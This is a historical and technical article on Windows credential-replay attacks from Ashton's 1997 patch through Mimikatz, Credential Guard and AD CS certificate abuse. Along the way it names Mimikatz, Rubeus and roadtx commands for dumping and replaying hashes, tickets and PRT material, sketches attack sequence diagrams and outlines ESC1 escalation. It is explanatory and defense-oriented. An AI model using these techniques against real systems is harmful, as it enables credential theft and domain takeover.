Twenty-nine years later, every Windows credential-replay attack in commodity offensive tooling is a direct descendant of that afternoon.

Fast-forward to 2026. A Windows 11 23H2 laptop, hardened to Microsoft's published baseline. Credential Guard on. KB5014754 strong certificate mapping in full enforcement. Conditional Access enabled, with Token Protection where supported. An attacker has local admin -- the same starting position the 1997 attack assumed.

Two commands run on that machine, in the same paragraph. Mimikatz sekurlsa::logonpasswords returns empty NT hash and TGT buffers; Credential Guard has done its job. Then Mimikatz dpapi::cloudapkd /unprotect returns a valid Primary Refresh Token session key and proof-of-possession material [@mollema-prt-digging]. On a different machine across the internet, the attacker pastes that material into Dirk-jan Mollema's roadtx prt, mints an x-ms-RefreshTokenCredential cookie, and authenticates to Entra ID as the laptop's user [@mollema-prt-abusing] [@roadtools-github]. Every Microsoft defense shipped in 2015, 2022, and 2024 is running. The attack still wins.

Note: The empty buffer from sekurlsa::logonpasswords is the artefact of twenty-nine years of architectural lessons. The PRT extraction from dpapi::cloudapkd is the architecture of the next five-to-ten years. Both scenes are the same attack class. The credential changed; the protocol that consumes it changed; the long-term storage location changed; the lineage did not.

You will meet seven people in this article. Paul Ashton (1997, the patch). Hernan Ochoa (2008, the toolkit that put the technique inside Windows itself). Benjamin Delpy (2011, Mimikatz; and the Kerberos generations that followed). Sean Metcalf (2014, who named Overpass-the-Hash and wrote the practitioner reference that taught a generation of red and blue teams).

Will Schroeder and Lee Christensen (2021, "Certified Pre-Owned," the AD CS catalog that became Pass-the-Certificate). Oliver Lyak (2022, Certifried, the CVE that forced Microsoft to ship KB5014754). And Dirk-jan Mollema (2020, the Primary Refresh Token research this article argues is the most consequential credential-theft work since 2008). The cast is small. The lineage they built is the load-bearing structure of every Windows penetration test in 2026.

How is it possible that the same attack works in 1997 and 2026? The answer is structural, not coincidental -- and once you see it, you cannot unsee it.

2. The Architectural Property the Family Shares

NTLM authentication never asks for the password as a string. It asks for a function of the hash. The hash is the password.

That sentence is the article's load-bearing claim, and the rest of this section is its proof.

The Microsoft specification for the NTLM protocol -- [MS-NLMP], sections 3.3.1 and 3.3.2 -- writes the response computation in pseudocode. For NTLMv1, the server sends an 8-byte challenge; the client computes NtChallengeResponse = DESL(ResponseKeyNT, challenge), where ResponseKeyNT = NTOWFv1(password) = MD4(UNICODE(password)) [@ms-nlmp-3-3-1]. DESL is a variant of DES that pads the 16-byte NT hash to 21 bytes with five zero bytes, splits the result into three 7-byte sub-keys, runs DES on the 8-byte challenge under each sub-key, and concatenates the three 8-byte ciphertexts to form a 24-byte response.

NTLMv2 is more elaborate -- the response key is NTOWFv2 = HMAC_MD5(MD4(UNICODE(password)), UNICODE(Uppercase(User) + UserDom)), and the proof string is HMAC_MD5 of the challenge concatenated with a target-info structure -- but the structural property is identical: the cleartext password appears in exactly one place in the entire protocol, the input to the hash function on the client. The verifier performs the same computation against the stored NT hash from the SAM or NTDS.dit, and compares. Neither side ever transmits the password [@ms-nlmp-3-3-2].

This is what Microsoft means when its institutional documentation says Pass-the-Hash "cannot be patched at the protocol level." There is nothing to patch.The same property holds for any challenge-response protocol whose verifier stores a determinable function of the password rather than the password itself: Kerberos with stored long-term keys, CHAP with shared secrets, OAuth client_credentials with shared secrets, every HMAC-based proof-of-possession scheme.

The protocol takes a stored hash and produces a response. Swap the user's hash for the attacker's hash, and the protocol still produces a valid response, signed by the substituted key. The bug is not a bug; it is a documented property.

A family of Windows authentication protocols (NTLMv1 and NTLMv2) in which a server sends a random challenge and the client returns a response computed by applying a keyed cryptographic primitive (DES or HMAC-MD5) to that challenge under a key derived from the user's password. The verifier holds the same key and recomputes the response to confirm. The cleartext password is never transmitted [@ms-nlmp-3-3-1] [@ms-nlmp-3-3-2]. The 16-byte MD4 of the user's password as UTF-16 little-endian (`MD4(UNICODE(Passwd))` in the NLMP pseudocode). Unsalted by design, because NT was originally specified for an offline domain controller that has to verify against a fixed reference value. The NT hash is the long-term symmetric Windows authentication secret for every account, stored locally in the SAM and centrally in the NTDS.dit Active Directory database [@ms-nlmp-3-3-1]. The technique of authenticating to a service that uses NTLM (or any protocol descended from the same family) by feeding a stolen NT hash directly to the response-construction function, instead of typing a password the function would then hash. The terminology and the first working demonstration are due to Paul Ashton, NTBugtraq, April 1997 [@ashton-exploitdb-19197]. sequenceDiagram participant Client participant Server participant Verifier as SAM or NTDS.dit Client->>Server: NTLM_NEGOTIATE Server->>Client: NTLM_CHALLENGE with 8-byte nonce Note over Client: ResponseKeyNT equals NTOWFv1 of stored NT hash Note over Client: NtChallengeResponse equals DESL of ResponseKeyNT and nonce Client->>Server: NTLM_AUTHENTICATE with response Server->>Verifier: Look up stored NT hash for user Verifier-->>Server: Stored NT hash Note over Server: Recompute DESL of stored hash and nonce Server->>Client: Authentication succeeds if responses match

Key idea: The hash is the password. Any long-term authentication artefact reachable by the process that uses it is replayable -- and every credential type the rest of this article discusses (Kerberos TGT, certificate private key, Primary Refresh Token session key) is a different instance of this same property. Defenses can isolate one artefact at a time; the property is intrinsic to the architecture.

Ashton's 1997 patch was the protocol-disclosure proof. He swapped a single function call -- SMBencrypt(pass, cryptkey, pword) became E_P24(p21, cryptkey, pword), where p21 is the user's LM hash read directly from smbpasswd -- and Samba's smbclient authenticated to NT 3.51 and NT 4.0 file servers without ever knowing the user's password [@ashton-exploitdb-19197]. You can read the patch in five minutes. It is also, in a precise sense, the first proof that NTLM's response computation is hash-equivalent: if substituting the hash works, then mathematically the hash is what the protocol wanted all along.

And then nothing happened for eleven years.

That gap deserves its own explanation, because the eleven-year interregnum is the cleanest failure mode in the lineage.

Wikipedia's modern summary of the pre-2008 limitation reads: "even after performing NTLM authentication successfully using the pass the hash technique, tools like Samba's SMB client might not have implemented the functionality the attacker might want to use. This meant that it was difficult to attack Windows programs that use DCOM or RPC. Also, because attackers were restricted to using third-party clients when carrying out attacks, it was not possible to use built-in Windows applications, like Net.exe or the Active Directory Users and Computers tool amongst others, because they asked the attacker or user to enter the cleartext password to authenticate, and not the corresponding password hash value." [@wikipedia-pass-the-hash]

Inside Microsoft the 1997 patch was treated as confirming a known property of LSASS-resident credentials, not as a new attack class. The institutional position was that any compromise yielding the hash already implied SYSTEM-equivalent access, and that the realistic chain was "exfiltrate the hash and crack it offline," not "replay the hash." The architectural counter-claim -- that *replaying* the hash from inside a Windows process bypasses every native-tool obstacle -- took a decade to land in the practitioner literature. The 2012 Duckwall + Campbell Black Hat USA paper named the lag in its title: "Still Passing the Hash 15 Years Later." [@duckwall-campbell-bh2012]

If the obstacle is "built-in Windows tools ask for cleartext," the architectural answer is to put the substituted hash inside the Windows process that those tools rely on. That insight took eleven years to operationalise. The person who operationalised it was Hernan Ochoa, in 2008.

3. From Patch to Toolkit: The Windows-Native Pivot

By 2008, Ashton's 1997 patch had been sitting on NTBugtraq for eleven years. Hernan Ochoa had a different idea: instead of patching the client, patch the credential cache.

The artefact Ochoa shipped at CanSecWest 2008 and Black Hat USA 2008 was called the Pass-the-Hash Toolkit, distributed through Core Security Technologies' open-source projects page [@corelabs-pshtoolkit-wayback]. It contained two principal executables. whosthere.exe read the NTLM credentials cached in LSASS for the active logon sessions, and iam.exe opened the LSASS process with PROCESS_VM_WRITE, located the cached credential block for the current interactive logon session, and overwrote the username, domain, and NT hash fields with attacker-supplied values in place (a companion genhash.exe computed hashes).

Once the substitution was in place, every native Windows SSO consumer -- net.exe, wmic, mstsc once Restricted Admin RDP shipped years later, SMB, RPC, DCOM -- transparently picked up the attacker-supplied hash, because the OS handed them what it believed were the legitimate user's credentials.

Wikipedia summarises the architectural pivot in one paragraph: "It allowed the user name, domain name, and password hashes cached in memory by the Local Security Authority to be changed at runtime after a user was authenticated -- this made it possible to 'pass the hash' using standard Windows applications, and thereby to undermine fundamental authentication mechanisms built into the operating system." [@wikipedia-pass-the-hash] The eleven-year limitation was gone. Pass-the-Hash was now a Windows-native attack that worked against any tool that read its credentials from LSASS -- which in practice meant every Windows tool.

The user-mode Windows process (`lsass.exe`) that handles interactive logon, owns the Security Reference Monitor's policy decisions, and -- relevant to this article -- caches the in-memory credential material that supports Single Sign-On for the duration of each logon session: NT hashes for NTLM, Kerberos TGTs and session keys, certificate handles, and (since Azure AD / Entra ID device join) Primary Refresh Token material in the CloudAP plug-in. Every credential-replay technique in this article reaches its target by reading LSASS in some form.

The 2012 retrospective is where the security industry stopped pretending Pass-the-Hash was solved. Alva Duckwall and Christopher Campbell shipped a Black Hat USA 2012 paper titled, unambiguously, "Still Passing the Hash 15 Years Later." [@duckwall-campbell-bh2012] The title is the load-bearing pull-quote: it named Ashton 1997 as the origin, Ochoa 2008 as the Windows-native pivot, and the industry's continued failure to ship a structural fix as the central fact. From this point onwards Microsoft itself acknowledged Pass-the-Hash as a structural property of NTLM rather than a fixable bug.

Hernan Ochoa's Windows Credentials Editor (WCE), released a year after the Pass-the-Hash Toolkit, developed the same LSASS-injection primitive on a separate code base. Two independent implementations converging on the same memory-access pattern in the same window is the clearest indication that the architectural insight -- "the credential is sitting in a process you can write to" -- was overdetermined once anyone went looking for it.

What did Ashton's 1997 patch leave on the table? The other long-term credentials that LSASS held. The NT hash was the first. There would be more.

If you can read the NT hash from LSASS, you can read the Kerberos TGT from LSASS. The same memory-access primitive that animates IAM.EXE is one commit away from animating sekurlsa::tickets. That commit shipped in May 2011. Its author was a twenty-five-year-old French programmer named Benjamin Delpy.

4. Mimikatz and the Kerberos Turn

In May 2011, Benjamin Delpy posted his first public release of a program he had been writing as a side project to learn C. He was twenty-five, working as an IT manager at an institution he has never publicly named. Andy Greenberg's Wired profile records the date: "He released it publicly in May 2011, but as a closed source program." [@wired-greenberg-mimikatz] Wikipedia corroborates: "He released the first version of the software in May 2011 as closed source software." [@wikipedia-mimikatz] The program was called Mimikatz.

What made Mimikatz architecturally different from Ochoa's toolkit was that it was modular. The credential-extraction primitives lived in named command groups: sekurlsa::logonpasswords dumped NT hashes from LSASS; sekurlsa::tickets dumped Kerberos tickets from LSASS; kerberos::ptt injected a stolen ticket into the current Kerberos cache via the documented LsaCallAuthenticationPackage API with the KerbSubmitTicketMessage message [@ms-lsa-call-auth-package]; lsadump::dcsync (added August 2015, in collaboration with Vincent Le Toux) impersonated a domain controller and asked another DC for the krbtgt hash via the IDL_DRSGetNCChanges replication RPC [@adsec-dcsync-p1729].

Same LSASS, different artefact, different protocol surface. The architectural property section 2 named had two artefacts to work with on Windows: the NT hash, and the Kerberos TGT.

This is Pass-the-Ticket (Generation 2). The stolen TGT plus its session key authenticates the holder as the original principal for the ticket's lifetime, which on a default AD deployment is ten hours, renewable for seven days. Time complexity per replay: O(1). The TGT session key is the load-bearing piece -- without it, the ticket is opaque encrypted bytes that the holder cannot decrypt, sign, or present back to the KDC. Mimikatz's sekurlsa::tickets /export writes the ticket as a .kirbi file on disk; kerberos::ptt <file> re-injects on any machine where the user has a Kerberos credentials cache.

The long-lived Kerberos credential issued by the KDC's Authentication Service (AS-REP) in response to a successful AS-REQ. The TGT is encrypted under the KDC's own krbtgt-account long-term key and contains a session key that the client uses to subsequently request service tickets from the Ticket Granting Service (TGS). Specification: RFC 4120, section 3 [@rfc-4120]. On a Windows Active Directory deployment the default TGT lifetime is 10 hours with renewal up to 7 days. The technique of extracting a Kerberos TGT (and its session key) from one machine's LSASS-resident Kerberos cache and injecting it into another machine's cache, so that subsequent service-ticket requests authenticate as the ticket's original principal. Tool of record: Mimikatz `sekurlsa::tickets` + `kerberos::ptt`; equivalent functionality in Rubeus and Impacket. sequenceDiagram participant Victim as Victim host participant Attacker as Attacker host participant KDC Note over Victim: User logged in, TGT cached in LSASS Kerberos package Attacker->>Victim: mimikatz sekurlsa::tickets export Victim-->>Attacker: TGT.kirbi (ticket plus session key) Note over Attacker: mimikatz kerberos::ptt TGT.kirbi Attacker->>KDC: TGS-REQ presenting injected TGT KDC-->>Attacker: TGS-REP service ticket Attacker->>Attacker: Authenticate to any Kerberos service as the victim

Note: A common shorthand says that Microsoft's Credential Guard isolated NT hashes, so attackers shifted to TGTs. That arrow runs backwards in time. Pass-the-Ticket predates Credential Guard by years -- the Mimikatz Kerberos primitives developed between the May 2011 closed-source release and the April 6, 2014 open-source commit (the earliest verifiable source-level evidence for sekurlsa::tickets and kerberos::ptt), and were presented in detail at Black Hat USA 2014 by Duckwall and Delpy [@infocondb-bh2014-duckwall] [@duckwall-delpy-bh2014-wp]. Pass-the-Ticket exists because TGTs are also in LSASS, not as a defensive response. The shift to a new artefact happened because the architectural property of credential extraction generalised, not because Credential Guard pushed attackers there.

The third generation followed shortly. Overpass-the-Hash observes that for the RC4-HMAC Kerberos encryption type -- the Windows default from Windows 2000 through November 2022 -- the user's long-term Kerberos key is the unchanged NT hash.

RFC 4757, authored by K. Jaganathan, L. Zhu, and J. Brezak of Microsoft and published as informational in December 2006, specifies the RC4-HMAC enctype's long-term key as the existing NT hash without modification [@rfc-4757]. An attacker who holds the NT hash can drive a legitimate Kerberos AS-REQ to the KDC, encrypt the timestamp pre-auth blob with the NT hash as the RC4-HMAC key, and receive a real TGT signed by the real krbtgt.

The economic effect is large. Pass-the-Hash gets you NTLM-based services -- SMB, RPC, and any protocol over them. Overpass-the-Hash gets you the entire Kerberos surface: Kerberos-only services, services that require Kerberos for delegation, services with NTLM disabled at the GPO level. Same NT hash. Different downstream protocol. Strictly larger attack surface.

The technique of presenting a stolen NT hash to the KDC as the user's long-term RC4-HMAC Kerberos key (per RFC 4757 [@rfc-4757]), obtaining a real TGT signed by the real krbtgt, and operating as a real Kerberos client for the ticket's lifetime. Tool of record: Mimikatz `sekurlsa::pth /user: /domain: /ntlm: /run:` and Rubeus `asktgt /user: /rc4:`. Per Sean Metcalf's adsecurity.org reference, the technique is named "over" because the hash is promoted one notch up the protocol stack from NTLM into Kerberos [@adsec-mimikatz-p556] [@adsec-kerberos-p2293]. sequenceDiagram participant Attacker participant KDC participant Service as Kerberos service Note over Attacker: Holds NT hash for user (e.g. from sekurlsa::logonpasswords) Attacker->>KDC: AS-REQ with PA-ENC-TIMESTAMP encrypted under RC4-HMAC(NT hash) KDC->>KDC: Verify PA-ENC-TIMESTAMP decrypts cleanly KDC-->>Attacker: AS-REP with real TGT signed by krbtgt Attacker->>KDC: TGS-REQ for Service KDC-->>Attacker: TGS-REP service ticket Attacker->>Service: AP-REQ authenticate as user Service-->>Attacker: Access granted

The naming has its own story. The Mimikatz capability is Delpy's; the term "Overpass-the-Hash" and the taxonomic framing that distinguishes it from straight Pass-the-Hash spread through the practitioner community via Sean Metcalf's adsecurity.org reference [@adsec-mimikatz-p556] and the Duckwall + Delpy Black Hat USA 2014 talk and whitepaper [@infocondb-bh2014-duckwall] [@duckwall-delpy-bh2014-wp]. The earliest archived snapshot of the adsecurity.org reference is October 1, 2014; the talk timestamp is August 7, 2014. The two sources are essentially contemporaneous, and Metcalf's later "Red vs. Blue" Black Hat USA 2015 whitepaper consolidates the practitioner taxonomy [@metcalf-bh2015-red-vs-blue].

The "Overpass" coinage is a deliberate semantic argument that the technique is one notch above Pass-the-Hash on the protocol stack: the NT hash, which began life as an NTLM response key, is being promoted into Kerberos as a long-term encryption key. The naming credit is socially distributed -- Metcalf, Delpy, Duckwall, and Mimikatz's own command group all carry traces of it -- so this article uses Metcalf's reference as the canonical practitioner explainer rather than as a single inventor citation.

The DigiNotar incident in September 2011 is the first publicly attributed criminal use of Mimikatz, four months after Delpy's first public release. The Dutch certificate authority DigiNotar -- founded 1998, acquired by VASCO in January 2011, hacked in June 2011, declared bankrupt in September 2011 [@wikipedia-diginotar] -- was used to issue hundreds of fraudulent certificates that were then used in man-in-the-middle attacks on Iranian Gmail users [@wikipedia-diginotar] [@fox-it-operation-black-tulip].

Greenberg's Wired profile records that Delpy was told by the breach investigators that Mimikatz had been used during the intrusion [@wired-greenberg-mimikatz]. The single-source attribution warrants a hedge -- Greenberg's source is Delpy himself, quoting investigators -- but the underlying breach timeline is solid.

The decision to open-source Mimikatz on April 6, 2014 is dated by the GitHub repository banner: `mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 6 2014 22:02:03)` [@mimikatz-github]. The precipitating event, as Delpy told Wired, was a trip to Moscow: he returned to his hotel room to find a stranger at his laptop; a second man approached him in the lobby that evening and demanded source code on a USB stick. He decided defenders needed the source as much as the attackers already did, and pushed it to GitHub when he got home [@wired-greenberg-mimikatz].

By 2014, the credential-replay family had three generations -- Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash -- and Microsoft's only documented response was a forty-page PDF. The next section is what that PDF said, and why documentation alone cannot end an attack class.

5. Documentation Is Not Defense

By December 2012, Microsoft had a problem. Duckwall and Campbell had just shipped a Black Hat USA paper titled "Still Passing the Hash 15 Years Later" [@duckwall-campbell-bh2012]. Mimikatz was eighteen months old. The institutional position that Pass-the-Hash was a "post-compromise issue" -- the line Microsoft had held since 1997 -- was no longer survivable in public.

The institutional response came in two waves. Mitigating Pass-the-Hash Attacks and Other Credential Theft, version 1, shipped in late 2012 (most practitioner secondaries place it in December 2012; no primary Microsoft URL with a verifiable v1 timestamp survives today).

Version 2 followed in July 2014, extending the v1 playbook with the new defensive surfaces that shipped in Windows 8.1 and Windows Server 2012 R2: Protected Users as a deployable security group, Restricted Admin RDP as a default-available feature, LSA Protection (RunAsPPL) as a registry-toggleable defense, and Authentication Policies and Silos as KDC-side restrictions [@ms-download-mitigating-pth-v2]. The two whitepapers are the closest thing the industry got to an institutional Microsoft acknowledgment that Pass-the-Hash was a load-bearing operational problem requiring a defensive playbook rather than a patch.

What did the playbook recommend? Three orthogonal stopgaps, each with a published bypass.

Protected Users (Windows Server 2012 R2). A security group whose membership bans, on the DC side, NTLM authentication, DES and RC4 Kerberos pre-authentication, and Kerberos unconstrained delegation; and, on the device side, NTLM caching of the user's plaintext credentials or NTOWF and Kerberos DES/RC4 long-term keys. Member TGTs are capped at 240 minutes (four hours) with no renewal [@ms-protected-users]. Documented bypasses: requires explicit opt-in per account, breaks any service that depended on unconstrained delegation, does not apply to computer accounts or service accounts by default, and has no effect on Kerberos AES-key extraction from LSASS (since AES keys are not banned; only RC4 is).

Restricted Admin RDP (introduced in Windows 8.1 / Server 2012 R2 RTM, October 2013; backported to Windows 7 / Server 2008 R2 / Windows 8 / Server 2012 by KB2871997 on May 13, 2014 [@ms-kb2871997-may2014]). An opt-in RDP mode that authenticates to the target without sending credentials, so a compromised target cannot harvest the RDP user's hash from its own LSASS. Documented bypass: opt-in per session, applies only to RDP, leaves SMB, WMI, and RPC unprotected. And it enables Pass-the-Hash for RDP -- the BloodHound CanRDP edge documents the abuse path with the exact Mimikatz command for injecting a stolen NT hash into mstsc.exe /restrictedadmin [@bloodhound-canrdp].

LSA Protection / RunAsPPL (Windows 8.1). A registry toggle that marks LSASS as a Protected Process Light, so non-PPL processes (including unsigned admin tools) cannot open it with PROCESS_VM_READ. Documented bypass: any signed kernel driver -- including loadable third-party drivers -- can still read PPL memory, and an attacker with local admin can load such a driver. The itm4n analysis includes the verbatim Mimikatz output where sekurlsa::logonpasswords returns access-denied against a PPL-marked LSASS, and shows that an attacker who loads a signed driver via the BYOVD pattern ("bring your own vulnerable driver") or escalates to kernel mode bypasses the marking. itm4n's framing -- "Credential Guard and LSA Protection are actually complementary" [@itm4n-lsass-runasppl] -- is also the prediction: PPL is part of the answer, but only when paired with the architectural pivot still to come.

A Windows Server 2012 R2 security group whose membership applies a set of restrictions, enforced jointly by the device and the domain controller, that block the most commonly extracted long-term credential material: no NTLM, no Kerberos RC4 or DES pre-auth, no unconstrained delegation, no NT-hash caching, and a 240-minute TGT lifetime with no renewal [@ms-protected-users].

The structural point is this. Documentation tells administrators what to do. It does not prevent the underlying LSASS-resident credential extraction. Every defense documented in v1 and v2 of the Mitigating-PtH whitepapers is bypassable, with a known and published technique, on any system where the attacker already has local administrator -- and local administrator is exactly what Pass-the-Hash exploitation already implies. The defender's win condition is to keep the attacker from ever getting to local admin in the first place; once they have it, every documented mitigation is a speed bump rather than a wall.

Note: The 2012-2014 era's load-bearing failure mode was assuming that telling administrators where credentials should live would prevent extraction from where they do live. Protected Users, Restricted Admin RDP, RunAsPPL, and Authentication Silos are all useful, and stacked together they raise the cost of post-admin exploitation. None of them moves the credential out of the address space the attacker can read.

A common secondary characterisation cites a "v3 2017" of the whitepaper alongside v1 and v2. That document does not exist in Microsoft Download Center ID 36036; the page lists Version 2.0; the 2023 Wayback snapshot of the same Download Center page records Date Published 7/7/2014, while the live page now shows a 2024 republication date for the same Version 2.0 PDF without a version bump [@ms-download-mitigating-pth-v2]. The Download Center page carries v2 metadata only -- v1's late-2012 date is sourced through contemporary practitioner literature rather than a primary Microsoft timestamp. After 2014 the post-v2 institutional documentation moves to the Microsoft Learn Credential Guard page rather than to a third whitepaper revision -- a structural choice, because by 2015 the architectural answer has shifted from prose to code.

By mid-2014 Microsoft's institutional position was that the protocol-level fix was unavailable and the architectural answer would need to relocate the credentials. If credentials cannot stay in LSASS where every admin process can read them, the credentials have to be moved to a place admin processes cannot read. That insight produces Credential Guard.

6. Credential Guard and the Architectural Pivot

On July 29, 2015, Microsoft shipped Windows 10 Enterprise [@ms-lifecycle-w10-enterprise]. Hidden in the RTM build was the first defense in the credential-replay lineage that wasn't documentation: hardware-rooted isolation. They called it Credential Guard.

The architecture is worth unpacking carefully, because every later generation of the family is best read as "what does this attack do to the assumptions Credential Guard makes?"

Credential Guard runs on top of Virtualization-Based Security. The Windows hypervisor partitions user mode into two virtual trust levels. VTL0 is the normal user partition: normal user-mode processes, including the normal LSASS, and the normal kernel. VTL1 is the isolated user partition: a small set of trustlets, signed user-mode processes the hypervisor protects from VTL0 inspection. Credential Guard's trustlet is LSAISO ("LSA Isolated"), a stripped-down clone of the LSA credential cache holding the material Microsoft wants out of VTL0. Hypervisor-enforced Code Integrity (HVCI) below enforces W^X on the VTL0 kernel, blocking kernel-mode bypasses that would otherwise read VTL1 memory directly.

The Windows architecture that runs a Type-1 hypervisor below the normal Windows kernel and partitions user mode into VTL0 (the normal partition) and VTL1 (the isolated partition). VTL1 hosts trustlets that the hypervisor protects from VTL0 inspection, even from kernel-mode VTL0 code. VBS is the substrate for Credential Guard, HVCI, the System Guard secure-launch chain, and the secure kernel. The Windows feature that relocates NT hashes, Kerberos TGT session keys, and "credentials stored by applications as domain credentials" from the in-VTL0 LSASS to the in-VTL1 LSAISO trustlet, so that the credential cache is unreadable from any VTL0 process or driver. Shipped in Windows 10 RTM (July 2015); default-enabled on hardware-eligible domain-joined non-DC systems in Windows 11 22H2 (September 2022) [@ms-learn-credential-guard]. The isolated-user-mode LSA process (`lsaiso.exe`) that holds Credential Guard's protected credential material. Runs in VTL1, unreadable from VTL0 kernel or user processes. Communicates with the VTL0 LSASS through a small RPC surface for authorised authentication operations only.

What does Credential Guard isolate? The Microsoft Learn page is unambiguous: "Credential Guard prevents credential theft attacks by protecting NTLM password hashes, Kerberos Ticket Granting Tickets (TGTs), and credentials stored by applications as domain credentials." [@ms-learn-credential-guard] Those three categories are also the three categories the previous three generations of the family targeted. Pass-the-Hash hits NTLM password hashes. Pass-the-Ticket hits Kerberos TGTs. Overpass-the-Hash hits NTLM password hashes promoted into Kerberos. Credential Guard moves all three out of VTL0 LSASS into VTL1 LSAISO. On a hardware-eligible domain-joined Windows 10/11 system with Credential Guard enabled, all three attacks return empty buffers.

The institutional importance of the change is that under Microsoft's own Windows Security Servicing Criteria, Credential Guard is a security boundary -- which means a bypass is a CVE-class vulnerability rather than a documentation gap.

The criteria's load-bearing definitions: "A security boundary provides a logical separation between the code and data of security domains with different levels of trust" and "Does the vulnerability violate the goal or intent of a security boundary or a security feature?" [@msrc-windows-servicing-criteria] Pre-2015 Pass-the-Hash defenses were documentation; Credential Guard is the first defense the criteria treats as CVE-class under the boundary "admin -> VBS (LSAISO trustlet)."

flowchart TD subgraph VTL0[VTL0 normal partition] A[User processes] B[LSASS] K[VTL0 kernel] end subgraph VTL1[VTL1 isolated partition] L[LSAISO trustlet] SK[Secure kernel] end H[Hypervisor] A --> B K --> B B -- authorised RPC only --> L H --> VTL0 H --> VTL1 SK --> L K -. blocked by HVCI .-> L

What does Credential Guard not isolate? This is the load-bearing question for the rest of the article. The same Microsoft Learn page enumerates four caveats, each verbatim.

First, the Active Directory database and the SAM. "Credential Guard doesn't provide protections for the Active Directory database or the Security Accounts Manager (SAM)." [@ms-learn-credential-guard] This is the DCSync gap: an attacker with the right replication privileges can ask a DC to hand over every hash in the directory, and Credential Guard cannot intervene because the data is being released through a legitimate, authorised API rather than being read from LSASS.

Second, domain controllers. "Enabling Credential Guard on domain controllers isn't recommended. Credential Guard doesn't provide any added security to domain controllers." [@ms-learn-credential-guard] The KDC must read the krbtgt account's long-term key in cleartext to issue tickets; the architectural exception is intrinsic to Kerberos rather than a Microsoft oversight.

Third, application credentials outside the "domain credentials" scope. Certificate private keys held by CryptoAPI key containers, third-party authentication package secrets, and -- the one this article eventually argues is the most consequential -- the Primary Refresh Token material held by the CloudAP authentication plug-in, are all out of scope by construction.

Fourth, and most importantly, the institutional acknowledgment of the supersession pattern. Microsoft Learn reproduces it verbatim on the same page, the prophecy the rest of this article spends its time documenting being fulfilled:

While Credential Guard is a powerful mitigation, persistent threat attacks will likely shift to new attack techniques, and you should also incorporate other security strategies and architectures. -- Microsoft Learn, *Credential Guard overview* [@ms-learn-credential-guard]

That sentence, written about the 2015 Credential Guard architecture, accurately predicts the 2021-2022 shift to Pass-the-Certificate and the 2020-present shift to Pass-the-PRT. It is Microsoft's own structural prediction that the family will continue to evolve to the next artefact Credential Guard's verbatim scope does not cover. The rest of this article reads as the unfolding of that prediction.

The Kerberos KDC must read the krbtgt account's long-term key to encrypt the TGT issued in every AS-REP. That key has to be available to the LSA process in cleartext, on every DC, on every ticket issuance, by protocol. Putting krbtgt behind LSAISO would mean issuing every TGT through an inter-trust-level RPC call -- a non-trivial performance penalty on every authentication in an Active Directory forest -- and would not actually close the architectural gap, because the trustlet itself would still need to do the cleartext work that LSASS does today. The exception is honest about an architectural reality rather than concealing it.

PPL and Credential Guard are complementary, not alternatives. itm4n's analysis [@itm4n-lsass-runasppl] makes the case carefully: RunAsPPL raises the bar from "any admin process can read LSASS" to "any signed driver can read LSASS," and Credential Guard closes the signed-driver bypass with hardware-rooted hypervisor isolation. They stack. The 2026 best-practice Windows endpoint has both turned on.

The default-enablement window shows how long this took to land. Credential Guard shipped enabled-by-policy in Windows 10 RTM in 2015, but did not become default-enabled on hardware-eligible domain-joined non-DC systems until Windows 11 22H2 in September 2022 [@ms-learn-credential-guard]. Seven years of uneven deployment.

Note: Four residuals from the Microsoft Learn page: the Active Directory database and the SAM are out of scope; domain controllers are out of scope by recommendation; application credentials outside the "domain credentials" category (certificates, CloudAP material, third-party authentication packages) are out of scope by construction; and persistent threats are expected to shift to new attack techniques. Each residual maps to a later generation of this article: AD database -> DCSync; certificates -> Pass-the-Certificate; CloudAP -> Pass-the-PRT.

Each new credential type needs its own isolation boundary. Credential Guard isolates NT hashes and TGT session keys. It does not isolate certificate private keys, because in 2015 nobody was replaying certificates at scale. And it does not isolate the Primary Refresh Token, because in 2015 the Primary Refresh Token did not yet exist.

Key idea: Each new credential type needs its own isolation boundary. The pattern is reusable but does not transfer automatically -- and the gap between "what fits in the boundary" and "what credentials Windows actually uses" is exactly the territory where the next attack generation grows.

7. Pass-the-Certificate: The Predictable Response

If the NT hash is isolated and RC4-HMAC is banned, what is the next long-term credential Windows accepts? The answer was hiding in plain sight: every Active-Directory-integrated enterprise had been running Microsoft's PKI since 2008, and almost every PKI deployment had at least one template-level catastrophe.

On June 17, 2021, Will Schroeder and Lee Christensen posted "Certified Pre-Owned" on Medium, with the accompanying 143-page whitepaper [@specterops-certified-pre-owned] [@specterops-certified-pre-owned-pdf]. The post named ESC1 through ESC8 in a single document, with paired DETECT and PREVENT recommendations, and shipped three pieces of tooling at the same Black Hat USA 2021 cycle: Certify (offensive enrollment), ForgeCert (golden-certificate forging using a stolen CA private key), and PSPKIAudit (defensive enumeration). The Medium post's tone was unsubtle:

Of note, nearly every environment with AD CS that we've examined for domain escalation misconfigurations has been vulnerable. It's hard for us to overstate what a big deal these issues are. -- Will Schroeder and Lee Christensen, *Certified Pre-Owned* [@specterops-certified-pre-owned]

The ESC catalog organises certificate misconfigurations by the abuse primitive they enable. ESC1 is the canonical example: a published certificate template that allows the enrollee to supply the Subject Alternative Name, contains a client-authentication Extended Key Usage, has permissive enrollment rights, and has no effective approval gates.

An attacker who can enroll for such a template requests a certificate naming a victim principal -- say, the domain administrator -- in the SAN. The certificate's private key is now the attacker's. PKINIT-authenticate to the KDC with that certificate, and the KDC issues a TGT for the named principal. Domain escalation, in three commands.

Microsoft's enterprise PKI. Issues X.509 certificates from administrator-defined templates that pin a certificate's permitted uses (Extended Key Usages), its enrollment authorisation rules, its subject and SAN generation policy, and its revocation behaviour. Ships as a Windows Server role; deployed in essentially every Active-Directory-integrated enterprise. Kerberos pre-authentication using a certificate's private key in place of a long-term symmetric key. Specified by RFC 4556 (L. Zhu and B. Tung, Microsoft and Aerospace, June 2006) [@rfc-4556]. The certificate's UPN SAN (or its dNSHostName for computer accounts) maps the certificate to the principal whose TGT the KDC will issue. PKINIT is the protocol surface most commonly exercised by Pass-the-Certificate against domain controllers that support certificate-based authentication. The Windows TLS implementation. Supports TLS client-certificate authentication, which authenticated LDAPS uses. When a domain controller does not support PKINIT (Schroeder + Christensen documented this case in the original catalog; AlmondOffSec built tooling for it), an attacker can authenticate to LDAPS over Schannel with a stolen client certificate and perform high-privilege LDAP operations without traversing the KDC. The technique of authenticating to Active Directory with a stolen X.509 certificate's private key, via PKINIT to the KDC or via Schannel client-certificate authentication to LDAPS. Named in this form by Yannick Méheut's PassTheCert tool and blog post (May 2022) 